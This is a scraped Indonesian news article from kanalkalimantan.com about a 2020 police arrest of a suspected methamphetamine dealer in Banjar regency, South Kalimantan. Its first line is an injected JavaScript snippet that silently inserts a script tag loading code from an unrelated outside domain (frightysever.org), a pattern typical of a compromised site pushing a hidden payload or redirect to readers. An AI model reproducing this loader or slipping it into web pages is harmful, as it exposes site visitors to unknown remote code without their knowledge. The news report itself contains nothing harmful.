(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal

Bagong Dibekuk, 4 Paket Sabu Jadi Barbuk


KANALKALIMANTAN.COM, MARTAPURA -Anggota Polsek Aluh-aluh meringkus seorang pria yang diduga pengedar narkoba jenis sabu di Desa Tanipah RT 2, Kecamatan Aluh-aluh, Kabupaten Banjar, pada Rabu (7/10/2020).

Dari penangkapan itu, petugas menyita barang bukti 4 paket sabu.

Pria itu IH alias Bagong (44), warga Desa Tanipah, Kecamatan Aluh-aluh, Kabupaten Banjar, dibekuk di rumahnya.

Menurut Kapolsek Aluh Aluh Ipda Simon Jumadi, kepada Kanalkalimantan.com, Sabtu (10/10/2020) mengatakan, penangkapan satu orang tersangka dilakukan setelah pihaknya mendapatkan informasi dari masyarakat sering adanya transaksi barang haram di rumah tersangka Bagong.

“Alhasil saat dilakukan pengerebekan pihaknya, mengamankan satu orang tersangka berikut barang bukti berupa sabu dan uang tunai Rp 350 ribu, satu buah handphone merk samsung warna hitam, satu pak plastik klip dan satu buah dompet warna hitam,” ujarnya.

Pada saat dilakukan penggerebakan tersangka Bagong sempat melakukan perlawanan dan berusaha melarikan diri ke arah belakang rumah.

“Pelaku berusaha melarikan diri ke arah belakang rumah, namun usaha pelaku melarikan tidak berhasil, karena anggota kita sudah mengepung rumah tersangka,” katanya.

Ipda Simon Jumadi menambahkan, dari hasil pemeriksaan, tersangka Bagong menyebutkan satu inisial yaitu AT warga Banjarmasin yang diduga pemasok barang haram tersebut.

“Ketika kita lakukan pemeriksaan tersangka Bagong menyebutkan satu nama yaitu AT, kami menduga nama itu adalah pemasok ke Bagong,” kata Ipda Simon Jumadi.

Pemesanan barang haram tersebut, Bagong mendapatkannya dari komunikasi handphone, dan yang mengantar barang haram tersebut adalah orang suruhan (anak buah) dari AT.

Ketika pihak kepolisian menanyakan dimana rumah AT, Bagong tidak mengetahui dimana alamat persisnya.

“Kita sedang menelusuri AT,” tegas Ipda Simon Jumadi

Atas perbuatannya itu, tersangka akan dijerat dengan pasal peredaran gelap narkotika golongan sebagaimana dimaksud dalam pasal 114 ayat 1sub 112 ayat 1 UU No. 35 Tahun 2008 tentang Narkotika, dengan acaman hukuman penjara 20 tahun. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.